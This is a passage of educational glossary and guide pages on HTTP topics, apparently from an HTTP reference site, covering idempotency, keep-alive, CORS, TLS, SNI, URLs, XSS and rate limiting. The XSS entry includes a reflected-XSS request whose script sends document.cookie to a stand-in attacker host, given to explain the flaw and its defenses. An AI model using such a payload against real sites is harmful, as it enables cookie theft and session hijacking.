"usd"} ``` The connection drops before the response arrives. The client retries with the same key and the server returns the stored response, not a second charge: ```http HTTP/1.1 201 Created Content-Type: application/json Idempotent-Replayed: true {"id": "pay_123", "status": "succeeded"} ``` The `Idempotent-Replayed` header is a convention some APIs use, not part of the draft. ## What the server has to do 1. Look up the key before doing any work. 2. If it is new, record the key with a fingerprint of the request, process it, and store the status and body. 3. If it exists and the request matches, return the stored response. 4. If it exists but the payload differs, reject it (the draft suggests `422`). 5. If the first request is still running, reject with `409 Conflict` rather than running twice. ## Non-obvious facts - **Store the result, including failures.** Stripe saves the status and body of the first request for a key, even if it was a 500. Re-running a failed operation under the same key would defeat the point. - **Keys expire.** Stripe prunes keys after at least 24 hours; document your own retention so clients know how long a retry is safe. - **The check and the write must be atomic.** A unique database constraint on the key, not a read-then-write, is what stops two concurrent retries from both proceeding. - **Scope keys per client.** Otherwise one tenant's key can collide with another's or leak a stored response. - **The key identifies the operation, not the attempt.** Generating a new key on every retry silently disables the protection. ## Go deeper - [Idempotent](https://howhttpworks.com/glossary/idempotent) - [POST method](https://howhttpworks.com/methods/post) - [PUT method](https://howhttpworks.com/methods/put) - [409 Conflict](https://howhttpworks.com/status-codes/409) --- # Idempotent > Learn what idempotent means in HTTP. Understand why GET, PUT, and DELETE are idempotent, why POST is not, and how idempotency affects API design. Source: https://howhttpworks.com/glossary/idempotent Last reviewed: 2026-10-05 > **TL;DR:** An HTTP method is idempotent when sending the same request twice has the same intended effect on the server as sending it once. GET, HEAD, OPTIONS, TRACE, PUT and DELETE are idempotent; POST and PATCH aren't guaranteed to be. The responses to each attempt are allowed to differ. ## The Core Idea Say an API takes replacement text at a known URL: ```bash curl -i -X PUT 'https://api.example.com/documents/notes' \ -H 'Content-Type: text/plain' --data-binary 'Reviewed' ``` Send it twice and the document ends up with the same text either way. The first response might be 201 and the second 204. Idempotency is about the end state, not the status codes. [RFC 9110 §9.2.2](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.2.2) scopes the guarantee to the effect the user asked for. The server is free to log every request or keep a revision history. ## Safe And Idempotent Are Not The Same A safe method is one where the client isn't asking for any state change. GET, HEAD, OPTIONS and TRACE are defined as safe, and they're idempotent too. PUT and DELETE are idempotent but not safe, because changing state is the whole point of them. A GET that returns a different price tomorrow is still idempotent. The client never asked for the price to change. ## Why APIs Care About This When a connection drops before the response arrives, the client can't tell whether the server committed the write. With an idempotent method, it can just retry without multiplying the effect. A plain POST that creates an order gives you no such promise from the protocol. Idempotency only covers repeats. A retry may fail, someone else may edit the resource between your attempts, and concurrent writes may conflict. Use [If-Match](https://howhttpworks.com/headers/if-match) for version-sensitive writes, and follow the API's documented retry policy for POST. ## Common Examples | Request | Effect of an identical repeat | | --- | --- | | `GET /documents/notes` | Retrieve again; newer content is possible. | | `PUT /documents/notes` with the same text | Set the same desired representation. | | `DELETE /documents/notes` | Keep the target removed; a repeat can return 404 after the first 204. | | `POST /orders` | Can create another order unless the API deduplicates it. | These assume nobody else recreates or changes the target between attempts. ## PATCH Needs Extra Care A merge patch that sets `{"status":"archived"}` is idempotent. A JSON Patch `add` targeting `/tags/-` appends a new element every time it runs. The patch format and its operations decide the effect, not the PATCH method itself. A POST endpoint can add deduplication at the application level with an [idempotency key](https://howhttpworks.com/glossary/idempotency-key). The server has to implement it; sending the header to an endpoint that doesn't changes nothing. ## Related - [HTTP Method](https://howhttpworks.com/glossary/method) - [PATCH](https://howhttpworks.com/methods/patch) --- # Keep-Alive (Persistent Connections) > Keep-alive reuses one TCP connection for many HTTP requests. Learn the HTTP/1.1 default, idle timeout defaults in nginx and Node, and why mismatches cause 502s. Source: https://howhttpworks.com/glossary/keep-alive Last reviewed: 2026-10-04 > **TL;DR:** Keep-alive means reusing one TCP connection for multiple HTTP requests. It has been the HTTP/1.1 default since the start; the risk now is a timeout mismatch between two hops, which shows up as random 502s. Keep-alive, formally a persistent connection, is HTTP/1.1 behavior in which the connection stays open after a response so further requests can reuse it instead of paying for a new TCP and TLS handshake. In HTTP/1.0 you had to opt in with `Connection: keep-alive`; in HTTP/1.1 you opt out with `Connection: close`. ## On the wire ```http HTTP/1.1 200 OK Content-Type: application/json Content-Length: 27 Connection: keep-alive Keep-Alive: timeout=5 ``` In HTTP/1.1 the `Connection` header here is redundant. The `Keep-Alive` header is an advisory hint that RFC 9110 and 9112 do not define; support is inconsistent. Persistence also requires the message length to be known, through `Content-Length` or chunked encoding, so the client knows where one response ends. ## Defaults worth knowing - **nginx:** `keepalive_timeout 75s` for clients. Connections to upstreams are not kept alive unless you configure `proxy_http_version 1.1`, an empty `Connection` header and an `upstream` `keepalive` pool. - **Apache:** `KeepAliveTimeout 5` seconds. - **Node.js:** `server.keepAliveTimeout` defaults to 5000 ms in current releases (still true in Node 26.10). A change merged upstream raises the default to 65000 ms in a future release, so set it explicitly rather than relying on your version's default. ## Non-obvious facts - **The 502 race.** If a load balancer's idle timeout (60 seconds by default on an AWS ALB) is longer than the backend's, the backend can close a connection at the same moment the balancer reuses it. The balancer sees a reset and returns 502. Set the backend's keep-alive timeout above the balancer's idle timeout; in Node, raise `keepAliveTimeout` (and keep `headersTimeout` above it). - **Reuse saves round trips.** A new HTTPS connection costs a TCP handshake plus a [TLS handshake](https://howhttpworks.com/glossary/tls-handshake) before the first byte of the request. - **Retries on a dead connection are only safe for idempotent requests.** If the connection was closed, a client may resend a `GET` automatically, but a `POST` is not safely repeatable; see [idempotent](https://howhttpworks.com/glossary/idempotent). - **HTTP/1.1 reuse is serial.** Each connection handles one request at a time, which is why browsers open several per host. HTTP/2 removes that limit. - **Idle connections cost memory.** Long timeouts on a busy server pin file descriptors, so the default is a trade-off, not a free win. ## Go deeper - [Keep-Alive header](https://howhttpworks.com/headers/keep-alive) - [Connection header](https://howhttpworks.com/headers/connection) - [Request and response lifecycle](https://howhttpworks.com/guides/request-lifecycle) - [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway) --- # MIME Type (Media Type) > A MIME type, or media type, is the type/subtype label in Content-Type that tells clients how to interpret a body. Covers nosniff and blocked-script errors. Source: https://howhttpworks.com/glossary/mime-type Last reviewed: 2026-10-04 > **TL;DR:** A MIME type (officially a media type) is the `type/subtype` label in the `Content-Type` header, such as `text/html` or `application/json`. Browsers trust it more than the file extension. A MIME type, called a media type in RFC 9110, is a two-part identifier of the form `type/subtype`, optionally followed by parameters, that tells the receiver how to interpret a message body. It is carried in `Content-Type` on responses and on requests with bodies, and the registry of valid values is maintained by IANA. ## Anatomy ```http HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff ``` - `text` is the top-level type; `html` is the subtype; `charset=utf-8` is a parameter. - Suffixes such as `application/ld+json` and `image/svg+xml` mean "this is JSON-LD" and "this is XML-based". - `application/json` defines no `charset` parameter, because JSON is always UTF-8. ## The errors this causes With `nosniff` set, Chrome refuses wrongly typed scripts and stylesheets: ```text Refused to execute script from 'https://example.com/app.js' because its MIME type ('text/html') is not executable, and strict MIME type checking is enabled. ``` ```text Failed to load module script: Expected a JavaScript module script but the server responded with a MIME type of "text/html". Strict MIME type checking is enforced for module scripts per HTML spec. ``` Module scripts are checked even without `nosniff`. In both cases the actual cause is almost always a 404 that the server replaced with `index.html`, often after a deploy removed an old hashed asset. ## Non-obvious facts - **Browsers sniff when the type is missing or wrong**, which is why `X-Content-Type-Options: nosniff` exists. It also prevents a user-uploaded file from being interpreted as HTML or script. - **`text/plain` is not a safe default for uploads.** Serve user content with an explicit type and `Content-Disposition: attachment` where possible. - **Requests have media types too.** Sending JSON with `Content-Type: text/plain` or form encoding to a JSON parser yields a 415 Unsupported Media Type or an empty body in frameworks like Express. - **The `Accept` header is the other half.** The client lists types it can handle; the server picks one and labels it in `Content-Type`. ## Go deeper - [Content-Type header](https://howhttpworks.com/headers/content-type) - [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options) - [Accept header](https://howhttpworks.com/headers/accept) - [415 Unsupported Media Type](https://howhttpworks.com/status-codes/415) --- # Origin (Scheme, Host, Port) > An origin is the scheme, host and port of a URL. See how browsers compare origins for the same-origin policy, CORS and the Origin header, with examples. Source: https://howhttpworks.com/glossary/origin Last reviewed: 2026-10-04 > **TL;DR:** An origin is `scheme + host + port`. The browser compares origins to decide what one page may read from another, and sends the `Origin` header so servers can do the same. An origin is the tuple of scheme, host and port taken from a URL. Browsers use it as the unit of trust for the same-origin policy: script running on one origin may send requests to another origin, but may not read the response unless that origin opts in through CORS. ## Comparing origins Against `https://app.example.com` (port 443 implied): | URL | Same origin? | Why | | --- | --- | --- | | `https://app.example.com/other/page` | Yes | Path is not part of an origin | | `https://app.example.com:443/` | Yes | 443 is the default for https | | `http://app.example.com/` | No | Scheme differs | | `https://api.example.com/` | No | Host differs | | `https://app.example.com:8443/` | No | Port differs | ## What it looks like on the wire A cross-origin `fetch` from `https://app.example.com` sends: ```http GET /v1/orders HTTP/1.1 Host: api.example.com Origin: https://app.example.com ``` The server answers with `Access-Control-Allow-Origin: https://app.example.com` or the browser blocks script access to the response. The `Origin` value has no path and no trailing slash. ## Things that trip people up - **`localhost:3000` and `localhost:8080` are different origins.** This is the usual cause of a CORS error in local development. - **Origin is not site.** `app.example.com` and `api.example.com` are cross-origin but same-site. CORS follows origin; `SameSite` cookies follow site. See [Same-Site vs Same-Origin](https://howhttpworks.com/glossary/same-site). - **"Origin server" is a different use of the word.** In RFC 9110 it means the server that holds the authoritative copy of a resource, as opposed to a proxy or cache. - **`Origin` is not sent on every request.** Browsers send it on cross-origin requests and on same-origin requests that are not GET or HEAD, so its absence on a plain same-origin GET is normal. ## Go deeper - [Origin header](https://howhttpworks.com/headers/origin) - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - [CORS guide](https://howhttpworks.com/guides/cors) - [CORS error: no Access-Control-Allow-Origin header](https://howhttpworks.com/debug/cors-no-access-control-allow-origin) --- # Preflight Request (CORS OPTIONS) > A CORS preflight is an automatic OPTIONS request the browser sends before a cross-origin request to check permission. See when it fires and how to answer it. Source: https://howhttpworks.com/glossary/preflight-request Last reviewed: 2026-10-04 > **TL;DR:** A preflight is an `OPTIONS` request the browser sends by itself before a cross-origin request that could have side effects, to ask the server whether it allows that method and those headers. A CORS preflight request is an automatic `OPTIONS` request that a browser sends to a cross-origin URL before the actual request, when that request is not a "simple" one. The server's answer tells the browser whether to send the real request at all. Your JavaScript never sees the preflight and cannot add headers to it. ## What triggers one You get a preflight when a cross-origin request uses a method other than `GET`, `HEAD` or `POST`, or sets a header outside the CORS-safelisted set (`Accept`, `Accept-Language`, `Content-Language`, `Content-Type` limited to three values, and `Range` in simple form). The two triggers people hit most are: - `Authorization` header on any request - `Content-Type: application/json`, because only `application/x-www-form-urlencoded`, `multipart/form-data` and `text/plain` are safelisted ## The exchange ```http OPTIONS /v1/orders HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: authorization, content-type ``` ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, PUT, DELETE Access-Control-Allow-Headers: authorization, content-type Access-Control-Max-Age: 600 Vary: Origin ``` If the answer does not cover the method and headers, Chrome logs `Response to preflight request doesn't pass access control check` and the real request is never sent. ## Non-obvious facts - **The preflight must succeed with an ok status.** A 401, 403, 404 or 500 on the `OPTIONS` request fails CORS even if your `PUT` handler is fine. Auth middleware that runs first is the usual culprit, because the preflight carries no cookies or `Authorization` header. - **`Access-Control-Max-Age` is capped by the browser.** The default is 5 seconds, so without it every cross-origin call becomes two round trips. Chromium caps the value at 2 hours (7200) and Firefox at 24 hours. - **Add `Vary: Origin` when you echo the origin.** Otherwise a CDN may cache one origin's preflight and serve it to another. - **Credentials need exact values.** With `Access-Control-Allow-Credentials: true`, the wildcard `*` is not accepted for origin, headers or methods. - **Redirects on a preflight fail.** The preflight response must not be a redirect, so a trailing-slash 301 on the API path breaks it. ## Go deeper - [CORS guide](https://howhttpworks.com/guides/cors) - [OPTIONS method](https://howhttpworks.com/methods/options) - [Access-Control-Max-Age](https://howhttpworks.com/headers/access-control-max-age) - [Access-Control-Request-Method](https://howhttpworks.com/headers/access-control-request-method) - [CORS error: no Access-Control-Allow-Origin header](https://howhttpworks.com/debug/cors-no-access-control-allow-origin) --- # Reverse Proxy > A reverse proxy sits in front of origin servers and forwards client requests to them. Learn the headers it adds, nginx proxy_pass pitfalls and 502/504 causes. Source: https://howhttpworks.com/glossary/reverse-proxy Last reviewed: 2026-10-04 > **TL;DR:** A reverse proxy is the server clients actually connect to. It forwards requests to one or more backends and returns their responses, adding TLS, routing, caching or load balancing on the way. A reverse proxy is an intermediary that sits in front of one or more origin servers and presents itself to clients as if it were the origin. nginx, HAProxy, Envoy, Caddy, Traefik and cloud load balancers all play this role. The client never sees the backend address, and the backend sees the proxy as its client. ## A typical nginx configuration ```nginx location /api/ { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } ``` The backend then receives headers like these, with the real client address only available in the forwarded header: ```http GET /api/me HTTP/1.1 Host: www.example.com X-Forwarded-For: 203.0.113.9 X-Forwarded-Proto: https ``` ## Non-obvious facts - **nginx rewrites `Host` by default.** Without `proxy_set_header Host $host`, the upstream receives `Host: $proxy_host` (the `proxy_pass` hostname), so apps that build absolute URLs or route by virtual host misbehave. - **Upstream connections are not kept alive by default.** nginx talks to upstreams over HTTP/1.0 and closes the connection each time. For keep-alive to a backend you need `proxy_http_version 1.1;`, `proxy_set_header Connection "";` and an `upstream` block with `keepalive`. - **Client IP headers are spoofable.** A client can send its own `X-Forwarded-For`. Configure your app to trust only the proxy addresses or hop count you operate. - **The proxy generates 502 and 504, not your app.** If the error page body is the proxy's, the backend never answered properly. Check the proxy error log first. - **Proxies can cache.** A caching reverse proxy distributed across regions is a [CDN](https://howhttpworks.com/glossary/cdn). ## Go deeper - [X-Forwarded-For](https://howhttpworks.com/headers/x-forwarded-for) - [Forwarded header](https://howhttpworks.com/headers/forwarded) - [Via header](https://howhttpworks.com/headers/via) - [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway) - [nginx 504 Gateway Timeout](https://howhttpworks.com/debug/nginx-504-gateway-timeout) --- # Same-Site vs Same-Origin > Site and origin are not the same. Learn how eTLD+1 and the Public Suffix List define same-site, and why it decides SameSite cookie and CORS behavior. Source: https://howhttpworks.com/glossary/same-site Last reviewed: 2026-10-04 > **TL;DR:** A **site** is the registrable domain (eTLD+1), so `app.example.com` and `api.example.com` are the same site but different origins. CORS cares about origin; `SameSite` cookies care about site. Two URLs are same-site when they share a registrable domain, also called eTLD+1: the effective top-level domain plus one more label. The effective TLD comes from the Public Suffix List, a maintained list of suffixes under which anyone can register names. Same-site is a looser test than same-origin, and mixing the two up causes most SameSite and CORS confusion. ## Worked examples | A | B | Same-site? | Same-origin? | | --- | --- | --- | --- | | `https://app.example.com` | `https://api.example.com` | Yes | No | | `https://example.com` | `https://example.com:8443` | Yes | No | | `https://example.com` | `http://example.com` | Depends (see below) | No | | `https://shop.example.co.uk` | `https://blog.example.co.uk` | Yes | No | | `https://alice.github.io` | `https://bob.github.io` | No | No | `co.uk` and `github.io` are both on the Public Suffix List, so `example.co.uk` and `alice.github.io` are the registrable domains, not `co.uk` or `github.io`. You cannot find this by counting dots; you need the list. ## Where each one applies ```http GET /account HTTP/1.1 Host: api.example.com Origin: https://app.example.com Sec-Fetch-Site: same-site Cookie: session=abc123 ``` - **Origin decides CORS.** This request is cross-origin, so the response needs `Access-Control-Allow-Origin`. - **Site decides cookies.** It is same-site, so a `SameSite=Strict` cookie is still attached. - **`Sec-Fetch-Site`** is the request header that tells the server which relationship the browser computed: `same-origin`, `same-site`, `cross-site` or `none`. ## Non-obvious facts - The HTML Standard defines both "same site" (scheme must match) and "schemelessly same site". Which one a feature uses varies, so `http://` to `https://` on the same domain is cross-site for some checks and same-site for others. Test in the browsers you support. - Sibling subdomains are mutually trusted for SameSite purposes. An XSS hole on `blog.example.com` can send authenticated requests to `app.example.com` that SameSite will not block. - Hosting platforms that give each customer a subdomain only stay safe because they are on the Public Suffix List. ## Go deeper - [SameSite cookie attribute](https://howhttpworks.com/cookies/same-site) - [Origin](https://howhttpworks.com/glossary/origin) - [CORS guide](https://howhttpworks.com/guides/cors) - [Cookie security guide](https://howhttpworks.com/guides/cookie-security) --- # SNI (Server Name Indication) > SNI is a TLS extension that sends the hostname in the ClientHello so one IP can serve many certificates. Learn debugging with curl and nginx upstream pitfalls. Source: https://howhttpworks.com/glossary/sni Last reviewed: 2026-10-04 > **TL;DR:** SNI puts the hostname in the first, unencrypted TLS message so a server hosting many sites on one IP can present the right certificate. `Host` is the HTTP-level equivalent, but it arrives too late for that job. Server Name Indication (SNI) is a TLS extension, defined in RFC 6066, that lets a client include the hostname it is trying to reach in its ClientHello. Servers and load balancers use it to select the certificate and often the backend before any HTTP is exchanged. Without it, one IP address and port could serve only one certificate. ## Seeing it with curl ```bash curl -v https://www.example.com/ ``` curl sends `www.example.com` as SNI automatically. To test a specific IP while keeping both SNI and `Host` correct, use `--resolve`: ```bash curl -v --resolve www.example.com:443:203.0.113.10 https://www.example.com/ ``` Writing `curl https://203.0.113.10/ -H 'Host: www.example.com'` is different: SNI is the IP (or absent), so the server may present its default certificate, and you get a name mismatch. ## Non-obvious facts - **SNI and `Host` can disagree.** A client can send one name in SNI and another in `Host`. Many servers answer from the `Host` value after choosing a certificate from SNI. For HTTP/2 reuse across hostnames, the server may reply `421 Misdirected Request` to say "wrong server for this name". - **nginx does not send SNI to upstreams by default.** For `proxy_pass https://backend`, you need `proxy_ssl_server_name on;` (and usually `proxy_ssl_name`) or an SNI-based backend fails the handshake. In the nginx error log this appears as `SSL_do_handshake() failed ... while SSL handshaking to upstream`, and clients see a 502. - **It leaks the destination.** Even with HTTPS, the SNI hostname is visible to networks and middleboxes, which is how many filters work. Encrypted Client Hello is the fix, but it is not universal. - **Name mismatch errors come from here.** Chrome's `ERR_CERT_COMMON_NAME_INVALID` often means the server returned its default certificate because the request carried the wrong SNI, or none. - **IP addresses are not sent as SNI.** RFC 6066 says literal IP addresses are not permitted in the `server_name` field. ## Go deeper - [HTTPS and TLS guide](https://howhttpworks.com/guides/https-and-tls) - [TLS handshake](https://howhttpworks.com/glossary/tls-handshake) - [Host header](https://howhttpworks.com/headers/host) - [421 Misdirected Request](https://howhttpworks.com/status-codes/421) - [Certificate common name error](https://howhttpworks.com/debug/err-cert-common-name-invalid) --- # TLS Handshake > The TLS handshake negotiates keys and authenticates the server before HTTP data flows. See the TLS 1.3 round trip, ALPN, session resumption and 0-RTT risks. Source: https://howhttpworks.com/glossary/tls-handshake Last reviewed: 2026-10-04 > **TL;DR:** The TLS handshake is the exchange before any HTTP bytes flow: agree on parameters, verify the server certificate, and derive shared keys. TLS 1.3 does it in one round trip. The TLS handshake is the opening exchange in which a client and server negotiate a protocol version and cipher suite, authenticate the server with an X.509 certificate, and derive the symmetric keys that protect the rest of the connection. For HTTPS, it runs after the TCP handshake and before the first HTTP request. ## What the messages carry (TLS 1.3) 1. **ClientHello:** supported versions and ciphers, a key share, the server name (see [SNI](https://howhttpworks.com/glossary/sni)) and ALPN protocols such as `h2` and `http/1.1`. 2. **ServerHello and the rest of the server flight:** chosen parameters and key share; everything after this is encrypted, including the certificate and a `Finished` message. 3. **Client Finished:** the client can now send HTTP in the same flight. Abridged `curl -v` output (wording differs between curl and TLS library versions): ```text * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS handshake, Finished (20): * ALPN: server accepted h2 ``` ## Non-obvious facts - **TCP plus TLS 1.3 is two round trips before the request.** One for TCP, one for TLS. TLS 1.2 made it three. This is why connection reuse ([keep-alive](https://howhttpworks.com/glossary/keep-alive)) matters so much for latency. - **Resumption skips most of the work.** A returning client can present a session ticket and resume without a full key exchange. - **0-RTT (early data) can be replayed.** The server cannot tell a replayed early request from the original. RFC 8470 lets a server reply `425 Too Early`; in practice only idempotent requests belong in early data. - **ALPN decides HTTP version.** If the server does not offer `h2`, the connection falls back to HTTP/1.1; there is no separate upgrade step. - **Handshake failures appear as TLS alerts, not HTTP statuses.** There is no HTTP response yet, which is why browsers show [`ERR_SSL_PROTOCOL_ERROR`](https://howhttpworks.com/debug/err-ssl-protocol-error) or a certificate error page rather than a status code. Behind Cloudflare, you may instead see a 525 when the CDN-to-origin handshake fails. ## Go deeper - [HTTPS and TLS guide](https://howhttpworks.com/guides/https-and-tls) - [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security) - [425 Too Early](https://howhttpworks.com/status-codes/425) - [Certificate common name error](https://howhttpworks.com/debug/err-cert-common-name-invalid) - [525 SSL Handshake Failed](https://howhttpworks.com/status-codes/525) --- # TTFB (Time to First Byte) > TTFB is the time from starting a request until the first byte of the response arrives. Learn what it includes, how to measure it and what usually inflates it. Source: https://howhttpworks.com/glossary/ttfb Last reviewed: 2026-10-04 > **TL;DR:** TTFB is how long the browser waits until the first byte of the response shows up. For a page load it counts redirects, DNS, TCP, TLS and the server's think time, not only your backend. Time to First Byte (TTFB) is the time from the start of a request until the first byte of the response is received. In the Navigation Timing API, for a page load it is `responseStart - startTime`, so everything before the server starts replying is counted: redirects, DNS lookup, TCP and TLS setup, the request itself, and the server's processing time. ## Measuring it ```bash curl -o /dev/null -s -w 'dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total}\n' https://example.com/ ``` `time_starttransfer` is the time to the first byte, measured from the start of the curl run. Subtract `time_appconnect` to get roughly the server's wait. In the browser: ```javascript const [nav] = performance.getEntriesByType('navigation') console.log('TTFB ms:', nav.responseStart) ``` ## Non-obvious facts - **Two definitions in circulation.** DevTools' "Waiting for server response" is only the wait after the request is sent. Field data (CrUX, RUM, PageSpeed) counts from navigation start. Compare like with like before declaring a regression. - **Redirects count.** An `http` to `https` hop or a `www` redirect adds a full round trip, and sometimes a second TLS handshake, before the first byte of the real page. - **Streaming changes what "first byte" means.** A server that flushes headers or a shell early gets a low TTFB even if the body takes seconds. Low TTFB alone does not mean the page is fast. - **You can see where the time went.** Have the server emit a `Server-Timing` header (`Server-Timing: db;dur=53, app;dur=47`) and it appears in DevTools and in the Performance API. - **Common inflators.** A cold cache or cache bypass at the CDN, a slow database query, a serverless cold start, a distant origin, and a missing connection reuse to the upstream. ## Go deeper - [Server-Timing header](https://howhttpworks.com/headers/server-timing) - [Cache-Control header](https://howhttpworks.com/headers/cache-control) - [CDN](https://howhttpworks.com/glossary/cdn) - [Request and response lifecycle](https://howhttpworks.com/guides/request-lifecycle) --- # URI vs URL (and URN) > A URL is a URI that says where a resource lives; a URI only identifies it. See the parts of a URL, what the server never receives and parser pitfalls. Source: https://howhttpworks.com/glossary/uri-vs-url Last reviewed: 2026-10-04 > **TL;DR:** URI is the umbrella term for any identifier. A URL is a URI that also locates the resource. In practice, web specs and developers say "URL" for everything you type into an address bar. A URI (Uniform Resource Identifier) is a string that identifies a resource according to RFC 3986. A URL (Uniform Resource Locator) is a URI that gives the means to reach it, such as a scheme plus network location. A URN names a resource without locating it. All URLs are URIs; the reverse is not true. ## Examples | String | URI? | URL? | | --- | --- | --- | | `https://example.com/docs?id=7#intro` | Yes | Yes | | `mailto:dev@example.com` | Yes | Yes (names a scheme and an address) | | `urn:isbn:0451450523` | Yes | No (a name, not a location) | | `/docs?id=7` | Yes (relative reference) | Not by itself | ## Parts, and what the server sees ```text https://user@example.com:8443/docs/page?id=7&sort=asc#intro \___/ \__/ \_________/ \__/ \________/ \__________/ \___/ scheme userinfo host port path query fragment ``` A browser sends this on the wire: ```http GET /docs/page?id=7&sort=asc HTTP/1.1 Host: example.com:8443 ``` The scheme becomes the connection type, the host and port become `Host` and the TCP target, and the path and query form the request target. The `#intro` fragment is never sent. ## Non-obvious facts - **The request target is not the URL.** In HTTP/1.1 the request line holds only the path and query (origin-form); the host travels in `Host`. A proxy request uses the full URL (absolute-form). - **Userinfo in `http(s)` URLs is deprecated.** RFC 9110 tells senders not to generate `user:pass@` in http URIs, and browsers strip or warn on it. - **Parsers disagree.** RFC 3986 and the WHATWG URL Standard parse some malformed inputs differently (backslashes, extra slashes, odd hosts), which has caused real SSRF and allowlist bypasses when one component validates and another fetches. Parse once, with one library, and reuse the result. - **Percent-encoding rules are context-specific.** A `+` means space only in `application/x-www-form-urlencoded` query data, not in paths. - **A URI identifies; HTTP dereferences.** `http://example.com/` can be fetched; a namespace URI like `http://www.w3.org/1999/xhtml` is just an identifier. ## Go deeper - [Host header](https://howhttpworks.com/headers/host) - [Location header](https://howhttpworks.com/headers/location) - [Referer header](https://howhttpworks.com/headers/referer) - [How HTTP works](https://howhttpworks.com/guides/how-http-works) --- # XSS (Cross-Site Scripting) > XSS lets an attacker run JavaScript in your page by getting untrusted input rendered as code. Learn the three types, real examples, CSP and HttpOnly limits. Source: https://howhttpworks.com/glossary/xss Last reviewed: 2026-10-04 > **TL;DR:** XSS means attacker-controlled data ends up executed as code in your page. Fix it by encoding output for its context and avoiding dangerous DOM sinks; use CSP and `HttpOnly` to limit the blast radius. Cross-site scripting (XSS) is a vulnerability in which an application includes untrusted data in a web page without proper handling, so the browser runs it as script. The injected code executes in your site's origin, with access to the DOM, same-origin requests and any non-`HttpOnly` cookies. ## A reflected example A search page echoes the query into HTML without encoding: ```http GET /search?q=%3Cscript%3Efetch('https://evil.example/?c='%2Bdocument.cookie)%3C/script%3E HTTP/1.1 Host: shop.example ``` ```html

Results for

``` Encoded properly, the same input is rendered as text: `<script>...`. ## The three kinds - **Stored:** the payload is saved (a comment, a profile field) and served to every viewer. - **Reflected:** the payload travels in the request (query string, form field) and is echoed back in that one response. - **DOM-based:** the server response is harmless, but client code writes data from `location`, `postMessage` or storage into a sink like `innerHTML`. ## Non-obvious facts - **Encoding depends on context.** HTML body, attribute, JavaScript string, URL and CSS each need different escaping. One "sanitize" function used everywhere is a common source of bypasses. - **Prefer safe sinks.** `textContent` instead of `innerHTML`; if you need HTML, sanitize with a maintained library such as DOMPurify. - **CSP can stop injected inline script.** A policy such as `Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'` refuses scripts without the nonce, but a CSP with `'unsafe-inline'` or broad allowlists does little. - **`HttpOnly` limits theft, not abuse.** An attacker can still perform actions as the user from inside the page. - **`X-XSS-Protection` is obsolete.** Chrome removed its XSS Auditor in version 78 and the header can introduce issues in old browsers; use CSP instead. - **XSS defeats CSRF defenses.** Script running in your origin can read CSRF tokens, so fixing XSS is a prerequisite for every other client-side protection. ## Go deeper - [Content-Security-Policy header](https://howhttpworks.com/headers/content-security-policy) - [HttpOnly cookie attribute](https://howhttpworks.com/cookies/http-only) - [Cookie security guide](https://howhttpworks.com/guides/cookie-security) - [X-XSS-Protection (deprecated)](https://howhttpworks.com/headers/x-xss-protection) - [CSRF](https://howhttpworks.com/glossary/csrf) --- # API Rate Limiting: Algorithms, Headers and 429 > Rate limit an HTTP API: fixed window, sliding window, token bucket and leaky bucket compared, plus 429, Retry-After, RateLimit headers, nginx and Express. Source: https://howhttpworks.com/guides/api-rate-limiting Last reviewed: 2026-10-04 > **TL;DR:** Pick the algorithm by what you want to do with bursts (token bucket allows them, leaky bucket smooths them, fixed window lets 2x through at the boundary), identify callers by API key before IP, reject with `429` plus `Retry-After`, and make clients back off with jitter. In nginx, remember `limit_req_status 429;` because the default is `503`. ## Algorithms and their failure modes Every limiter answers one question per request: has this caller used more than its allowance in the recent past? The algorithms differ in how they define "recent" and what they remember. | Algorithm | State per caller | Allows bursts? | Characteristic flaw | | --- | --- | --- | --- | | Fixed window | one counter + window start | Yes, up to 2x at a boundary | Boundary burst | | Sliding window log | timestamp of every request | No | Memory grows with the limit | | Sliding window counter | two counters | Slightly | Approximation, not exact | | Token bucket | token count + last refill time | Yes, up to bucket size | Burst size is a second knob to tune | | Leaky bucket | queue depth + last drain time | No, it queues instead | Adds latency, or drops when the queue is full | **Fixed window.** Count requests in aligned windows (for example, per calendar minute) and reject once the count passes the limit. It is one `INCR` plus `EXPIRE` in Redis. The flaw is the boundary: with a limit of 100 per minute, a client can send 100 requests at 12:00:59 and another 100 at 12:01:00. Both windows are within the limit, yet 200 requests arrived within two seconds. If your backend capacity is sized for 100 per minute, the effective peak is double. **Sliding window log.** Store a timestamp for every accepted request, drop those older than the window, and compare the remaining count to the limit. It is exact and has no boundary burst, but memory per caller is proportional to the limit, which gets expensive at 10,000 requests per hour per key. **Sliding window counter.** Keep the current and previous fixed-window counts and estimate the sliding count as `previous * (1 - elapsed_fraction) + current`. At 25% into the current minute with 80 requests last minute and 10 so far, the estimate is `80 * 0.75 + 10 = 70`. Two integers per caller and no boundary spike; the error comes from assuming the previous window's requests were evenly spread. **Token bucket.** A bucket holds up to `capacity` tokens and refills at `rate` tokens per second. Each request spends a token (or more, for expensive endpoints). A caller idle for a while accumulates a full bucket and can burst up to `capacity`, then is held to `rate`. You tune two numbers independently: sustained rate and burst size. This is what most API providers expose, and it is the easiest model to explain to customers. **Leaky bucket.** Requests enter a queue that drains at a constant rate; a full queue rejects. The output is perfectly smooth, which protects fragile backends, at the cost of added latency for queued requests. The nginx documentation describes `limit_req` as the leaky bucket method. ## Who to count: key, IP or route - **Per API key or user ID** is the right identity for authenticated APIs. It is stable across devices and is the unit you bill and support. - **Per IP** is the only 